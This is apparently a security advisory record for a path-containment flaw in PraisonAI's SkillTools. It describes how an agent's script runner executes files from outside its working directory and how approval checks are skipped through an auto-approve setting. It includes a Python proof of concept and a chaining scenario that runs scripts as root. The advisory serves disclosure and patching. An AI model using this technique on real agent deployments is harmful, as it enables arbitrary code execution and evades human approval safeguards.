{"id":"CVE-2026-61443","aliases":["GHSA-c44f-37qr-gw3f"],"title":"PraisonAI: SkillTools Executes Scripts Without Path Containment Validation","summary":"PraisonAI: SkillTools Executes Scripts Without Path Containment Validation","severity":"high","cvss":8.1,"cwe":["CWE-22","CWE-78"],"vendor":"praisonaiagents","product":"praisonaiagents","ecosystem":"pip","affected":["praisonaiagents <= 1.6.77"],"patched":["praisonaiagents 1.6.78"],"published":"2026-10-08","updated":"2026-10-08","sourceUpdated":"2026-10-08T16:49:24Z","source":"GHSA","sourceUrl":"https://github.com/advisories/GHSA-c44f-37qr-gw3f","references":[{"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c44f-37qr-gw3f"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-61443"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-62168"},{"url":"https://www.vulncheck.com/advisories/praisonai-before-remote-code-execution-via-skilltools"},{"url":"https://github.com/advisories/GHSA-c44f-37qr-gw3f"}],"tags":["ghsa","pip"],"epss":0.00769,"epssPercentile":0.54193,"ingestedAt":"2026-10-08T16:52:14.775Z","slug":"CVE-2026-61443","body":"## Overview\n\n### Summary\n`SkillTools.run_skill_script()` accepts a `script_path` parameter and executes it via `subprocess.run()` without any path containment validation. While `FileTools` has `_validate_path()` with traversal detection, `SkillTools` performs none. An LLM-directed call can execute arbitrary scripts from any filesystem location. The `@require_approval` decorator can be bypassed via YAML `approve:` for high-risk tools.\n\n### Details\n`src/praisonai-agents/praisonaiagents/tools/skill_tools.py` (lines 69-119):\n\n```python\ndef run_skill_script(self, script_path: str, ...):\n    script_path = os.path.expanduser(script_path)\n    if not os.path.isabs(script_path):\n        script_path = os.path.join(self._working_directory, script_path)\n    script_path = os.path.abspath(script_path)\n\n    if not os.path.exists(script_path):\n        return f\"Error: Script not found at {script_path}\"\n\n    # No path traversal check, no containment validation\n    # Directly executes whatever is at that path:\n    result = subprocess.run(cmd, ...)\n```\n\nBy contrast, `FileTools._validate_path()` (`src/praisonai-agents/praisonaiagents/tools/file_tools.py`, lines 42-78) properly validates that the resolved path stays within the working directory:\n\n```python\ndef _validate_path(self, filepath: str) -> str:\n    # ...\n    cwd = os.path.abspath(os.getcwd())\n    if os.path.commonpath([absolute, cwd]) != cwd:\n        raise ValueError(f\"Path traversal detected: {filepath} escapes workspace {cwd}\")\n```\n\n`SkillTools` has no equivalent check.\n\n### PoC\n\n```python\nimport os, tempfile\nfrom praisonaiagents.tools.skill_tools import SkillTools\n\n# Create a \"safe\" working directory (the jail)\njail = tempfile.mkdtemp(prefix=\"skill_jail_\")\n\n# Create a malicious script OUTSIDE the jail\nattack_script = os.path.join(tempfile.gettempdir(), \"malicious_skill.sh\")\nwith open(attack_script, 'w') as f:\n    f.write(\"#!/bin/bash\\n\")\n    f.write(\"echo \\\"PROOF_OF_EXPLOIT: Script executed outside jail\\\"\\n\")\n    f.write(\"echo \\\"USER: $(whoami)\\\"\\n\")\n    f.write(\"echo \\\"HOSTNAME: $(hostname)\\\"\\n\")\nos.chmod(attack_script, 0o755)\n\n# Bypass approval (simulates Docker env or YAML approve:)\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\n\nst = SkillTools()\nst._working_directory = jail  # Pretend we're confined\n\n# Run script from OUTSIDE the jail — no path validation!\nresult = st.run_skill_script(attack_script)\nprint(result)\n# Output:\n#   PROOF_OF_EXPLOIT: Script executed outside jail\n#   USER: anushkavirgaonkar\n#   HOSTNAME: Anushkas-MacBook-Pro-2.local\n\n# Cleanup\ndel os.environ[\"PRAISONAI_AUTO_APPROVE\"]\nos.unlink(attack_script)\nos.rmdir(jail)\n```\n\n**Tested result:** The script at `/tmp/malicious_skill.sh` executed successfully despite the working directory being set to a jail directory. The output confirms arbitrary script execution including `whoami` and `hostname`. No path containment check exists — the absolute path is accepted and executed directly.\n\n\n### Impact\n- **Arbitrary script execution**: Run any script on the filesystem from any location\n- **Chaining with file write**: Write a malicious script via `write_file` (YAML-approvable as a high-risk tool), then execute it via `run_skill_script`\n- **Root-level impact in Docker**: All PraisonAI Docker containers run as root (no `USER` directive), so an escaped script runs with full root privileges\n\n## Affected packages\n\n- `praisonaiagents <= 1.6.77`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `praisonaiagents 1.6.78`","depth":"twilight","depthScore":45,"depthScoreParts":{"impact":44.6,"likelihood":0.2,"exploitation":0,"ransomware":0},"changes":[]}